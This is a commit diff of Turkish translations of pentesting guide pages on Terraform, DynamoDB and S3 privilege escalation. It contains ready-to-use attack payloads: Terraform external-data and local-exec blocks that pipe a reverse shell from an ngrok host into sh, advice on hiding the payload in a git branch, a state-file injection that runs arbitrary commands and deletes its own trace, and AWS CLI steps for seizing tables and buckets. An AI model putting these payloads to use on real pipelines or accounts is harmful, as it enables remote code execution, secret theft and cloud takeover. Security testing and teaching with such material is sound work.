Translated ['src/pentesting-ci-cd/terraform-security.md', 'src/pentestin

This commit is contained in:
Translator
2025-01-05 15:23:04 +00:00
parent 573a976dc0
commit 78fe5dd7c6
3 changed files with 130 additions and 55 deletions

View File

@@ -10,17 +10,17 @@ HashiCorp Terraform, **kod olarak altyapı aracı**dır ve hem **bulut hem de ye
#### Terraform nasıl çalışır?
Terraform, bulut platformlarında ve diğer hizmetlerde kaynakları uygulama programlama arayüzleri (API'ler) aracılığıyla oluşturur ve yönetir. Sağlayıcılar, Terraform'un erişilebilir bir API'ye sahip hemen hemen her platform veya hizmetle çalışmasını sağlar.
Terraform, bulut platformlarında ve diğer hizmetlerde kaynakları uygulama programlama arayüzleri (API'ler) aracılığıyla oluşturur ve yönetir. Sağlayıcılar, Terraform'un erişilebilir bir API'ye sahip olan hemen hemen her platform veya hizmetle çalışmasını sağlar.
![](<../images/image (177).png>)
HashiCorp ve Terraform topluluğu, binlerce farklı türde kaynak ve hizmeti yönetmek için **1700'den fazla sağlayıcı** yazmıştır ve bu sayı artmaya devam etmektedir. Tüm kamuya açık sağlayıcıları [Terraform Registry](https://registry.terraform.io/) üzerinde bulabilirsiniz; bunlar arasında Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog ve daha birçokları bulunmaktadır.
HashiCorp ve Terraform topluluğu, farklı türdeki binlerce kaynak ve hizmeti yönetmek için **1700'den fazla sağlayıcı** yazmıştır ve bu sayı artmaya devam etmektedir. Tüm kamuya açık sağlayıcıları [Terraform Registry](https://registry.terraform.io/) üzerinde bulabilirsiniz; bunlar arasında Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog ve daha birçokları bulunmaktadır.
Temel Terraform iş akışı üç aşamadan oluşur:
- **Yaz:** Birden fazla bulut sağlayıcısı ve hizmeti arasında olabilecek kaynakları tanımlarsınız. Örneğin, güvenlik grupları ve bir yük dengeleyici ile sanal makinelerde bir uygulama dağıtmak için bir yapılandırma oluşturabilirsiniz.
- **Yaz:** Birden fazla bulut sağlayıcısı ve hizmet arasında olabilecek kaynakları tanımlarsınız. Örneğin, güvenlik grupları ve bir yük dengeleyici ile sanal makinelerde bir uygulama dağıtmak için bir yapılandırma oluşturabilirsiniz.
- **Planla:** Terraform, mevcut altyapı ve yapılandırmanıza dayanarak oluşturacağı, güncelleyeceği veya yok edeceği altyapıyı tanımlayan bir yürütme planı oluşturur.
- **Uygula:** Onaylandığında, Terraform, kaynak bağımlılıklarına saygı göstererek önerilen işlemleri doğru sırayla gerçekleştirir. Örneğin, bir VPC'nin özelliklerini güncelleyip o VPC'deki sanal makine sayısını değiştirirseniz, Terraform, sanal makineleri ölçeklendirmeden önce VPC'yi yeniden oluşturur.
- **Uygula:** Onaylandığında, Terraform, kaynak bağımlılıklarına saygı göstererek önerilen işlemleri doğru sırayla gerçekleştirir. Örneğin, bir VPC'nin özelliklerini günceller ve o VPC'deki sanal makinelerin sayısını değiştirirseniz, Terraform, sanal makineleri ölçeklendirmeden önce VPC'yi yeniden oluşturur.
![](<../images/image (215).png>)
@@ -28,33 +28,33 @@ Temel Terraform iş akışı üç aşamadan oluşur:
Bilgisayarınıza terraform'u kurun.
Burada bir [kılavuz](https://learn.hashicorp.com/tutorials/terraform/install-cli) ve burada terraform'u indirmenin [en iyi yolu](https://www.terraform.io/downloads) var.
Burada bir [rehber](https://learn.hashicorp.com/tutorials/terraform/install-cli) ve burada terraform'u indirmenin [en iyi yolu](https://www.terraform.io/downloads) var.
## Terraform'da RCE
## Terraform'da RCE: yapılandırma dosyası zehirlenmesi
Terraform'un **bir web sayfası veya bir ağ hizmeti** sunan bir platformu yoktur, bu nedenle terraform'u tehlikeye atmanın tek yolu **terraform yapılandırma dosyalarını eklemek/değiştirmek** olabilir.
Terraform, **bir web sayfası veya bir ağ hizmeti sunan bir platforma sahip değildir**; bu nedenle, terraform'u tehlikeye atmanın tek yolu, **terraform yapılandırma dosyalarını ekleyebilmek/değiştirebilmek** veya **terraform durum dosyasını değiştirebilmek**tir (aşağıdaki bölüme bakın).
Ancak, terraform, düzgün çalışabilmesi için farklı konumlara **ayrılmış erişim** sağlayacağı için **çok hassas bir bileşen**dir.
Ancak, terraform, **farklı konumlara ayrıcalıklı erişim** sağlayacağı için tehlikeye atılması **çok hassas bir bileşendir**.
Bir saldırganın terraform'un çalıştığı sistemi tehlikeye atabilmesinin ana yolu, **terraform yapılandırmalarını depolayan depoyu tehlikeye atmaktır**, çünkü bir noktada bunlar **yorumlanacaktır**.
Aslında, bir PR oluşturulduktan sonra **terraform plan/uygula** işlemlerini otomatik olarak gerçekleştiren çözümler mevcuttur, bunlardan biri **Atlantis**'dir:
Aslında, bir PR oluşturulduktan sonra **terraform plan/uygula** işlemlerini otomatik olarak gerçekleştiren çözümler mevcuttur, örneğin **Atlantis**:
{{#ref}}
atlantis-security.md
{{#endref}}
Bir terraform dosyasını tehlikeye atmayı başarırsanız, birisi `terraform plan` veya `terraform apply` çalıştırdığında RCE gerçekleştirmek için farklı yollar vardır.
Eğer bir terraform dosyasını tehlikeye atmayı başarırsanız, birisi `terraform plan` veya `terraform apply` komutunu çalıştırdığında RCE gerçekleştirmek için farklı yollar vardır.
### Terraform planı
Terraform planı, terraform'da **en çok kullanılan komut**dur ve terraform kullanan geliştiriciler/çözümler bunu sürekli olarak çağırır, bu nedenle **RCE elde etmenin en kolay yolu**, bir `terraform plan` içinde rastgele komutlar çalıştıracak bir terraform yapılandırma dosyasını zehirlemektir.
Terraform planı, terraform'da **en çok kullanılan komut**dur ve terraform kullanan geliştiriciler/çözümler bunu sürekli olarak çağırır, bu nedenle **RCE elde etmenin en kolay yolu**, `terraform plan` içinde rastgele komutlar çalıştıracak bir terraform yapılandırma dosyasını zehirlemektir.
**Dış sağlayıcı kullanarak**
Terraform, Terraform ile dış programlar arasında arayüz sağlamak için [`external` sağlayıcısını](https://registry.terraform.io/providers/hashicorp/external/latest/docs) sunar. `plan` sırasında rastgele kod çalıştırmak için `external` veri kaynağını kullanabilirsiniz.
Terraform, Terraform ile dış programlar arasında bir arayüz sağlamak için [`external` sağlayıcısını](https://registry.terraform.io/providers/hashicorp/external/latest/docs) sunar. `plan` sırasında rastgele kod çalıştırmak için `external` veri kaynağını kullanabilirsiniz.
Bir terraform yapılandırma dosyasına aşağıdakine benzer bir şey enjekte etmek, `terraform plan` çalıştırıldığında bir rev shell çalıştıracaktır:
Bir terraform yapılandırma dosyasına aşağıdaki gibi bir şey enjekte etmek, `terraform plan` çalıştırıldığında bir rev shell çalıştıracaktır:
```javascript
data "external" "example" {
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
@@ -81,9 +81,9 @@ Bir örneği [https://github.com/rung/terraform-provider-cmdexec](https://github
**Dış bir referans kullanma**
Bahsedilen her iki seçenek de faydalıdır ancak çok gizli değildir (ikincisi birincisinden daha gizli ama daha karmaşıktır). Bu saldırıyı **daha gizli bir şekilde** gerçekleştirebilirsiniz, bu önerileri takip ederek:
Bahsedilen her iki seçenek de faydalıdır ancak çok gizli değildir (ikincisi birincisinden daha gizlidir ama daha karmaşıktır). Bu saldırıyı **daha gizli bir şekilde** gerçekleştirebilirsiniz, bu önerileri takip ederek:
- Rev shell'i doğrudan terraform dosyasına eklemek yerine, rev shell'i içeren **dış bir kaynağı** yükleyebilirsiniz:
- Rev shell'i doğrudan terraform dosyasına eklemek yerine, rev shell içeren **dış bir kaynağı** yükleyebilirsiniz:
```javascript
module "not_rev_shell" {
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
@@ -91,11 +91,11 @@ source = "git@github.com:carlospolop/terraform_external_module_rev_shell//module
```
Rev shell kodunu [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules) adresinde bulabilirsiniz.
- Harici kaynakta, **ref** özelliğini kullanarak repo içinde **bir dalda terraform rev shell kodunu gizleyin**, şöyle bir şey: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
- Harici kaynakta, **ref** özelliğini kullanarak **repo içindeki bir dalda terraform rev shell kodunu gizleyin**, şöyle bir şey: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
### Terraform Apply
Terraform apply, tüm değişiklikleri uygulamak için çalıştırılacaktır, ayrıca **kötü niyetli bir Terraform dosyasını** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)** ile enjekte ederek RCE elde etmek için de kötüye kullanılabilir.**\
Terraform apply, tüm değişiklikleri uygulamak için çalıştırılacaktır, ayrıca **kötü niyetli bir Terraform dosyasını** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)** ile RCE elde etmek için de kötüye kullanabilirsiniz.**\
Sadece `main.tf` dosyasının sonunda aşağıdaki gibi bir yükün bulunduğundan emin olmalısınız:
```json
// Payload 1 to just steal a secret
@@ -112,7 +112,7 @@ command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
}
}
```
Önceki teknikten **önerileri takip ederek** bu saldırıyı **daha gizli bir şekilde dış referanslar kullanarak** gerçekleştirin.
Önceki teknikteki **önerileri takip ederek** bu saldırıyı **daha gizli bir şekilde dış referanslar kullanarak** gerçekleştirin.
## Gizli Bilgiler Dökümü
@@ -124,7 +124,35 @@ value = nonsensitive(var.do_token)
```
## Terraform Durum Dosyalarını Kötüye Kullanma
Terraform durum dosyaları üzerinde yazma erişiminiz varsa ancak terraform kodunu değiştiremiyorsanız, [**bu araştırma**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) dosyadan yararlanmak için bazı ilginç seçenekler sunmaktadır:
Terraform durum dosyaları üzerinde yazma erişiminiz varsa ancak terraform kodunu değiştiremiyorsanız, [**bu araştırma**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) dosyadan yararlanmak için bazı ilginç seçenekler sunmaktadır. Konfigürasyon dosyaları üzerinde yazma erişiminiz olsa bile, durum dosyalarının vektörünü kullanmak genellikle daha sinsi bir yöntemdir, çünkü `git` geçmişinde iz bırakmazsınız.
### Terraform'da RCE: konfigürasyon dosyası zehirleme
Kötü niyetli bir sağlayıcı ile terraform durum dosyasındaki sağlayıcılardan birini değiştirmek veya kötü niyetli sağlayıcıyı referans alan sahte bir kaynak eklemek için [özel bir sağlayıcı oluşturmak](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider) mümkündür.
Sağlayıcı [statefile-rce](https://registry.terraform.io/providers/offensive-actions/statefile-rce/latest) bu araştırmaya dayanmakta ve bu prensibi silahlandırmaktadır. Sahte bir kaynak ekleyebilir ve çalıştırmak istediğiniz keyfi bash komutunu `command` niteliğinde belirtebilirsiniz. `terraform` çalıştırıldığında, bu hem `terraform plan` hem de `terraform apply` adımlarında okunacak ve yürütülecektir. `terraform apply` adımında, `terraform` komutunuzu çalıştırdıktan sonra sahte kaynağı durum dosyasından silecektir, böylece kendi arkasını temizlemiş olur. Daha fazla bilgi ve tam bir demo, bu sağlayıcının kaynak kodunu barındıran [GitHub deposunda](https://github.com/offensive-actions/terraform-provider-statefile-rce) bulunabilir.
Doğrudan kullanmak için, `resources` dizisinin herhangi bir konumuna aşağıdakileri ekleyin ve `name` ile `command` niteliklerini özelleştirin:
```json
{
"mode": "managed",
"type": "rce",
"name": "<arbitrary_name>",
"provider": "provider[\"registry.terraform.io/offensive-actions/statefile-rce\"]",
"instances": [
{
"schema_version": 0,
"attributes": {
"command": "<arbitrary_command>",
"id": "rce"
},
"sensitive_attributes": [],
"private": "bnVsbA=="
}
]
}
```
O zaman, `terraform` çalıştırıldığında, kodunuz çalışacaktır.
### Kaynakları Silme <a href="#deleting-resources" id="deleting-resources"></a>
@@ -132,7 +160,7 @@ Kaynakları yok etmenin 2 yolu vardır:
1. **Gerçek kaynağı yok etmek için durum dosyasına rastgele bir isimle bir kaynak ekleyin**
Terraform, kaynağın mevcut olmaması gerektiğini göreceği için, onu yok edecektir (belirtilen gerçek kaynak kimliğini takip ederek). Önceki sayfadan örnek:
Çünkü terraform, kaynağın mevcut olmaması gerektiğini görecektir, bu yüzden onu yok edecektir (belirtilen gerçek kaynak kimliğini takip ederek). Önceki sayfadan örnek:
```json
{
"mode": "managed",
@@ -148,28 +176,13 @@ Terraform, kaynağın mevcut olmaması gerektiğini göreceği için, onu yok ed
]
},
```
2. **Silinmesi gereken kaynağı, güncellenemeyecek şekilde değiştirin (bu nedenle silinip yeniden oluşturulacak)**
2. **Kaynağı, güncellenemeyecek şekilde silmek için değiştirin (bu nedenle silinip yeniden oluşturulacak)**
Bir EC2 örneği için, örneğin türünü değiştirmek, terraform'un onu silip yeniden oluşturması için yeterlidir.
### RCE
### Kara listeye alınmış sağlayıcıyı değiştirin
Ayrıca, [özel bir sağlayıcı oluşturmak](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider) ve terraform durum dosyasındaki sağlayıcılardan birini kötü niyetli olanla değiştirmek veya kötü niyetli sağlayıcı ile boş bir kaynak eklemek mümkündür. Orijinal araştırmadan örnek:
```json
"resources": [
{
"mode": "managed",
"type": "scaffolding_example",
"name": "example",
"provider": "provider[\"registry.terraform.io/dagrz/terrarizer\"]",
"instances": [
]
},
```
### Kara listeye alınmış sağlayıcıyı değiştir
`hashicorp/external` kara listeye alındığında bir durumla karşılaşırsanız, `external` sağlayıcısını aşağıdaki gibi yeniden uygulayabilirsiniz. Not: https://registry.terraform.io/providers/nazarewk/external/latest tarafından yayınlanan bir external sağlayıcı çatalını kullanıyoruz. Kendi çatalınızı veya yeniden uygulamanızı da yayınlayabilirsiniz.
`hashicorp/external` kara listeye alındığında, `external` sağlayıcısını yeniden uygulamak için aşağıdakileri yapabilirsiniz. Not: https://registry.terraform.io/providers/nazarewk/external/latest adresinde yayınlanan bir external sağlayıcı çatallamasını kullanıyoruz. Kendi çatallamanızı veya yeniden uygulamanızı da yayınlayabilirsiniz.
```terraform
terraform {
required_providers {
@@ -196,7 +209,7 @@ Snyk, Terraform, CloudFormation, Kubernetes ve diğer IaC formatlarındaki güve
- Güvenlik açıkları ve uyumluluk sorunları için gerçek zamanlı tarama.
- Versiyon kontrol sistemleriyle (GitHub, GitLab, Bitbucket) entegrasyon.
- Otomatik düzeltme çekme istekleri.
- Ayrıntılı düzeltme tavsiyeleri.
- Ayrıntılı düzeltme önerileri.
- **Kaydolun:** [Snyk](https://snyk.io/) üzerinde bir hesap oluşturun.
```bash
brew tap snyk/tap
@@ -206,9 +219,9 @@ snyk iac test /path/to/terraform/code
```
### [Checkov](https://github.com/bridgecrewio/checkov) <a href="#install-checkov-from-pypi" id="install-checkov-from-pypi"></a>
**Checkov**, altyapı kodu (IaC) için statik kod analizi aracı ve ayrıca görüntüler ve açık kaynak paketleri için bir yazılım bileşen analizi (SCA) aracıdır.
**Checkov**, kod olarak altyapı (IaC) için bir statik kod analiz aracıdır ve ayrıca görüntüler ve açık kaynak paketleri için bir yazılım bileşen analizi (SCA) aracıdır.
[Terraform](https://terraform.io/) kullanılarak sağlanan bulut altyapısını, [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md) veya [OpenTofu](https://opentofu.org/) ile tarar ve grafik tabanlı tarama kullanarak güvenlik ve uyumluluk yanlış yapılandırmalarını tespit eder.
[Terraform](https://terraform.io/) kullanılarak sağlanan bulut altyapısını, [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md) veya [OpenTofu](https://opentofu.org/) ile tarar ve grafik tabanlı tarama kullanarak güvenlik ve uyum yanlış yapılandırmalarını tespit eder.
ık kaynak paketleri ve görüntüleri için Ortak Güvenlik Açıkları ve Maruziyetler (CVE'ler) taraması olan [Yazılım Bileşen Analizi (SCA) taraması](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md) gerçekleştirir.
```bash
@@ -217,17 +230,17 @@ checkov -d /path/to/folder
```
### [terraform-compliance](https://github.com/terraform-compliance/cli)
From the [**docs**](https://github.com/terraform-compliance/cli): `terraform-compliance`, altyapı kodunuz için negatif test yeteneğini sağlamak amacıyla terraform'a karşı hafif, güvenlik ve uyumluluk odaklı bir test çerçevesidir.
From the [**docs**](https://github.com/terraform-compliance/cli): `terraform-compliance`, altyapı kodunuz için olumsuz test yeteneğini etkinleştirmek amacıyla terraform'a karşı hafif, güvenlik ve uyumluluk odaklı bir test çerçevesidir.
- **uyumluluk:** Uygulanan kodun güvenlik standartlarına ve kendi özel standartlarınıza uygun olduğundan emin olun
- **uyumluluk:** Uygulanan kodun güvenlik standartlarına ve kendi özel standartlarınıza uygun olduğundan emin olun.
- **davranış odaklı geliştirme:** Neredeyse her şey için BDD'miz var, neden IaC için olmasın?
- **taşınabilir:** Sadece `pip` ile kurun veya `docker` üzerinden çalıştırın. [Kurulum](https://terraform-compliance.com/pages/installation/) sayfasına bakın
- **ön dağıtım:** Kodunuzu dağıtılmadan önce doğrular
- **taşınabilir:** Sadece `pip` ile kurun veya `docker` üzerinden çalıştırın. [Kurulum](https://terraform-compliance.com/pages/installation/) sayfasına bakın.
- **ön dağıtım:** Kodunuzu dağıtılmadan önce doğrular.
- **entegrasyonu kolay:** Tüm dağıtımların doğrulandığından emin olmak için pipeline'ınızda (veya git hook'larında) çalıştırılabilir.
- **görev ayrımı:** Testlerinizi ayrı bir ekibin sorumlu olduğu farklı bir depoda tutabilirsiniz.
> [!NOTE]
> Ne yazık ki, kod bazı sağlayıcıları kullanıyorsa ve bunlara erişiminiz yoksa `terraform plan` gerçekleştiremeyecek ve bu aracı çalıştıramayacaksınız.
> Ne yazık ki, kod bazı sağlayıcıları kullanıyorsa ve bu sağlayıcılara erişiminiz yoksa `terraform plan` gerçekleştiremeyecek ve bu aracı çalıştıramayacaksınız.
```bash
pip install terraform-compliance
terraform plan -out=plan.out
@@ -254,9 +267,9 @@ tfsec /path/to/folder
```
### [KICKS](https://github.com/Checkmarx/kics)
Geliştirme döngüsünün başında **KICS** ile altyapı kodunuzda güvenlik açıklarını, uyumluluk sorunlarını ve altyapı yanlış yapılandırmalarını erken tespit edin.
Geliştirme döngüsünün erken aşamalarında **KICS** ile güvenlik açıklarını, uyumluluk sorunlarını ve altyapı yanlış yapılandırmalarını bulun.
**KICS**, **K**eeping **I**nfrastructure as **C**ode **S**ecure'ın kısaltmasıdır, açık kaynaklıdır ve herhangi bir bulut yerel projesi için vazgeçilmezdir.
**KICS**, **K**eeping **I**nfrastructure as **C**ode **S**ecure'ın kısaltmasıdır, açık kaynaklıdır ve herhangi bir bulut yerel projesi için gereklidir.
```bash
docker run -t -v $(pwd):/path checkmarx/kics:latest scan -p /path -o "/path/"
```
@@ -278,5 +291,6 @@ brew install terrascan
- [https://alex.kaskaso.li/post/terraform-plan-rce](https://alex.kaskaso.li/post/terraform-plan-rce)
- [https://developer.hashicorp.com/terraform/intro](https://developer.hashicorp.com/terraform/intro)
- [https://blog.plerion.com/hacking-terraform-state-privilege-escalation/](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/)
- [https://github.com/offensive-actions/terraform-provider-statefile-rce](https://github.com/offensive-actions/terraform-provider-statefile-rce)
{{#include ../banners/hacktricks-training.md}}

View File

@@ -4,20 +4,69 @@
## dynamodb
Dynamodb hakkında daha fazla bilgi için kontrol edin:
DynamoDB hakkında daha fazla bilgi için kontrol edin:
{{#ref}}
../aws-services/aws-dynamodb-enum.md
{{#endref}}
### `dynamodb:PutResourcePolicy`, ve isteğe bağlı olarak `dynamodb:GetResourcePolicy`
Mart 2024'ten itibaren, AWS DynamoDB için *kaynak tabanlı politikalar* sunmaktadır ([AWS News](https://aws.amazon.com/about-aws/whats-new/2024/03/amazon-dynamodb-resource-based-policies/)).
Bu nedenle, bir tablo için `dynamodb:PutResourcePolicy`'ye sahipseniz, kendinize veya başka bir kullanıcıya tabloya tam erişim verebilirsiniz.
`dynamodb:PutResourcePolicy`'yi rastgele bir kullanıcıya vermek genellikle yanlışlıkla olur; eğer yöneticiler `dynamodb:Put*` vermenin yalnızca kullanıcının veritabanına öğe eklemesine izin vereceğini düşünürse - veya bu izin setini Mart 2024'ten önce verdilerse...
İdeal olarak, diğer potansiyel olarak hayati izinleri geçersiz kılmamak için `dynamodb:GetResourcePolicy`'ye de sahip olmalısınız, böylece yalnızca ihtiyaç duyduğunuz ek izinleri ekleyebilirsiniz:
```bash
# get the current resource based policy (if it exists) and save it to a file
aws dynamodb get-resource-policy \
--resource-arn <table_arn> \
--query 'Policy' \
--output text > policy.json
```
Eğer mevcut politikayı alamıyorsanız, sadece bu politikayı kullanın; bu, tablonuz üzerinde tam erişim sağlar:
```json
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "FullAccessToDynamoDBTable",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<ACCOUNT_ID>:<USER_OR_ROLE>/<USERNAME_OR_ROLENAME>"
},
"Action": [
"dynamodb:*"
],
"Resource": [
"arn:aws:dynamodb:<REGION>:<AWS_ACCOUNT_ID>:table/<TABLENAME>"
]
}
]
}
```
Eğer bunu özelleştirmeniz gerekiyorsa, işte tüm olası DynamoDB eylemlerinin bir listesi: [AWS Documentation](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Operations.html). Ve burada bir kaynak tabanlı politika aracılığıyla izin verilebilecek tüm eylemlerin bir listesi *VE bunlardan hangilerinin hesaplar arası kullanılabileceği (veri sızdırma düşünün!)*: [AWS Documentation](https://docs.aws.amazon.com/amazondynamodb/latest/developerguide/rbac-iam-actions.html)
Şimdi, `policy.json` politika belgesi hazır olduğuna göre, kaynak politikasını ekleyin:
```bash
# put the new policy using the prepared policy file
# dynamodb does weirdly not allow a direct file upload
aws dynamodb put-resource-policy \
--resource-arn <table_arn> \
--policy "$(cat policy.json)"
```
Artık ihtiyaç duyduğunuz izinlere sahip olmalısınız.
### Post Exploitation
Bildigim kadarıyla, sadece bazı AWS `dynamodb` izinlerine sahip olarak AWS'de **yetki yükseltmenin doğrudan bir yolu yoktur**. Tabloalardan **hassas** bilgileri okuyabilir (bu bilgiler AWS kimlik bilgilerini içerebilir) ve tablolara **bilgi yazabilirsiniz** (bu, diğer güvenlik açıklarını tetikleyebilir, örneğin lambda kod enjeksiyonları...) ancak bu seçeneklerin hepsi **DynamoDB Post Exploitation sayfasında** zaten dikkate alınmıştır:
Bildiğim kadarıyla, sadece bazı AWS `dynamodb` izinlerine sahip olarak AWS'de yetkileri artırmanın **başka doğrudan bir yolu yoktur**. Tabloalardan **hassas** bilgileri okuyabilir (bu bilgiler AWS kimlik bilgilerini içerebilir) ve tablolara **bilgi yazabilirsiniz** (bu, diğer güvenlik açıklarını tetikleyebilir, örneğin lambda kod enjeksiyonları...) ancak bu seçeneklerin hepsi zaten **DynamoDB Post Exploitation sayfasında** dikkate alınmıştır:
{{#ref}}
../aws-post-exploitation/aws-dynamodb-post-exploitation.md
{{#endref}}
### TODO: Veri Akışlarını kötüye kullanarak veri okuma
### TODO: Veri Akışlarını kötüye kullanarak veri oku
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -34,7 +34,7 @@
]
}
```
Ve ele geçirme, **şablonun yüklenmesi anından** **şablonun dağıtılması anına** kadar olan **küçük bir zaman penceresi** olduğu için mümkündür. Bir saldırgan, hesabında **bir lambda fonksiyonu** oluşturabilir ve bu fonksiyon **bir bucket bildirimi gönderildiğinde tetiklenir** ve **o bucket'ın** **içeriğini ele geçirir**.
Ve ele geçirme, **şablonun yüklendiği andan** **şablonun dağıtıldığı ana** kadar olan **küçük bir zaman penceresi** olduğu için mümkündür. Bir saldırgan, hesabında **bir lambda fonksiyonu** oluşturabilir ve bu fonksiyon **bir bucket bildirimi gönderildiğinde tetiklenecek** ve **o bucket'ın** **içeriğini ele geçirecektir**.
![](<../../../images/image (174).png>)
@@ -50,9 +50,21 @@ Bunlar bazı örneklerdir:
- Eğer bir EC2 örneği **kullanıcı verilerini bir S3 bucket'ında** depoluyorsa, bir saldırgan bunu **EC2 örneği içinde rastgele kod çalıştırmak için değiştirebilir**.
### `s3:PutObject`, `s3:GetObject` (isteğe bağlı) terraform durum dosyası üzerinden
[terraform](https://cloud.hacktricks.wiki/en/pentesting-ci-cd/terraform-security.html) durum dosyalarının bulut sağlayıcılarının blob depolama alanlarına kaydedilmesi oldukça yaygındır, örneğin AWS S3. Bir durum dosyasının dosya uzantısı `.tfstate`dir ve bucket adları genellikle terraform durum dosyalarını içerdiğini gösterir. Genellikle, her AWS hesabının durum dosyalarını depolamak için böyle bir bucket'ı vardır. Ayrıca genellikle, gerçek dünya hesaplarında neredeyse her geliştiricinin `s3:*` ve bazen hatta iş kullanıcılarının `s3:Put*` erişimi vardır.
Yani, bu dosyalar üzerindeki izinlere sahipseniz, `terraform` ayrıcalıklarıyla, çoğu zaman `AdministratorAccess` ile, pipeline'da RCE elde etmenizi sağlayan bir saldırı vektörü vardır, bu da sizi bulut hesabının yöneticisi yapar. Ayrıca, `terraform`'un meşru kaynakları silmesini sağlayarak bir hizmet reddi saldırısı yapmak için bu vektörü kullanabilirsiniz.
Doğrudan kullanılabilir istismar kodu için *Terraform Güvenliği* sayfasının *Terraform Durum Dosyalarını Kötüye Kullanma* bölümündeki açıklamayı takip edin:
{{#ref}}
terraform-security.md#abusing-terraform-state-files
{{#endref}}
### `s3:PutBucketPolicy`
Aynı hesapta olması gereken bir saldırgan, aksi takdirde `Belirtilen yöntem izin verilmedi` hatası tetiklenecektir, bu izinle kendisine bucket'lar üzerinde daha fazla izin verebilir, böylece bucket'ları okuma, yazma, değiştirme, silme ve ifşa etme yetkisi kazanır.
Aynı hesaptan olması gereken bir saldırgan, aksi takdirde `Belirtilen yöntem izin verilmedi` hatası tetiklenecektir, bu izinle bucket'lar üzerinde daha fazla izin verebilir, böylece bucket'ları okuma, yazma, değiştirme, silme ve ifşa etme yetkisine sahip olabilir.
```bash
# Update Bucket policy
aws s3api put-bucket-policy --policy file:///root/policy.json --bucket <bucket-name>
@@ -110,7 +122,7 @@ aws s3api put-bucket-policy --policy file:///root/policy.json --bucket <bucket-n
```
### `s3:GetBucketAcl`, `s3:PutBucketAcl`
Bir saldırgan, bu izinleri **belirli kovalar üzerinde daha fazla erişim sağlamak** için kötüye kullanabilir.\
Bir saldırgan, bu izinleri **belirli bucket'lar üzerinde daha fazla erişim sağlamak için** kötüye kullanabilir.\
Saldırganın aynı hesapta olması gerekmediğini unutmayın. Ayrıca yazma erişimi
```bash
# Update bucket ACL
@@ -138,7 +150,7 @@ aws s3api put-bucket-acl --bucket <bucket-name> --access-control-policy file://a
```
### `s3:GetObjectAcl`, `s3:PutObjectAcl`
Bir saldırgan, bu izinleri kullanarak kendisine belirli nesneler üzerinde daha fazla erişim sağlamak için kötüye kullanabilir.
Bir saldırgan, bu izinleri kullanarak kendisine belirli nesneler üzerinde daha fazla erişim sağlayabilir.
```bash
# Update bucket object ACL
aws s3api get-object-acl --bucket <bucekt-name> --key flag